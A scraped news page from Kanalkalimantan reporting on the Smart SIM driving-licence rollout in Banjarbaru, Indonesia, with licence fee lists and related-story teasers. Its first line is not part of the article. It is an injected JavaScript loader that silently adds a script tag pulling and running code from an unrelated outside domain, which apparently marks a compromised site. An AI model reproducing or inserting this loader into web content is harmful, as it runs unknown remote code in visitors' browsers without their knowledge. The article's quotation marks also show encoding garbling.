(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Sejak diluncurkan pada 22 September lalu di seluruh Indonesia, Smart SIM menarik perhatian masyarakat. Namun, rupanya masyarakat Banjarbaru sempat tidak bisa mendapatkan SIM versi terbaru itu.
Hal tersebut diakui Kepala Satuan Lalu Lintas Polres Banjarbaru, AKP Gustaf Adolf Mamuaya, SE, sebelum launching Smart SIM pihaknya kehabisan material atau blanko SIM lama. Alhasil, masyarakat yang ingin mendapatkan Smart SIM justru hanya mendapatkan SIM sementara berupa kertas.
“Benar saat itu kita kehabisan material yang lama. Bagi yang sudah menerima SIM sementara, kita akan foto ulang karena ini sistem baru. Intinya, masyarakat yang sudah memiliki SIM sementara bisa langsung datang untuk mengambil Smart SIM yang baru ini,†katanya kepada Kanalkalimantan, Kamis (17/10).
Kasat Lantas menerangkan tidak rumit untuk mendapatkan Smart SIM karena persyaratan dan prosesnya tidak jauh berbeda dengan SIM lama. Dijelaskannya, untuk calon pengemudi yang belum memiliki SIM dapat langsung mengajukan permohonan Smart SIM.
Sedangkan, bagi yang sudah memiliki SIM dapat memiliki SIM Pintar tersebut ketika melakukan perpanjangan SIM.
“Masyarakat yang memiliki SIM lama diimbau untuk menggunakan SIM tersebut hingga masa berlakunya habis. Kalau yang sudah akan habis masa berlakunya segera perpanjangan dan bisa mendapatkan Smart SIM,†pungkas AKP Gustaf.
Perlu diketahui, biaya pembuatan Smart SIM tidak berubah. Tentunya tetap mengacu pada Peraturan Pemerintah Nomor 60 Tahun 2016. Berikut daftarnya:
– Penerbitan SIM A Rp 120.000
– Penerbitan SIM A Umum Rp 120.000
– Penerbitan SIM B1 Rp 120.000
– Penerbitan SIM B1 Umum Rp 120.000
– Penerbitan SIM B2 Rp 120.000
– Penerbitan SIM B2 Umum Rp 120.000
– Penerbitan SIM C Rp 100.000
–
Berikut tarif perpanjangan SIM:
– Perpanjang masa berlaku SIM A Rp 80.000
– Perpanjang masa berlaku SIM B Rp 80.000
– Perpanjang masa berlaku SIM C Rp 75.000
– Perpanjang masa berlaku SIM D Rp 30.000
Ada beberapa keunggulan dari Smart SIM, salah satunya yakni merekam data forensik pengemudi. Kemudian, pelanggaran yang dilakukan pengemudi juga terekam dalam SIM Pintar tersebut. Data lain yang akan termuat dalam Smart SIM adalah data rekam jejak kecelakaan yang dialami si pengguna. Selain itu, Smart SIM juga dapat berfungsi sebagai uang elektronik untuk membayar parkir, tol, maupun berbelanja. (rico)
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.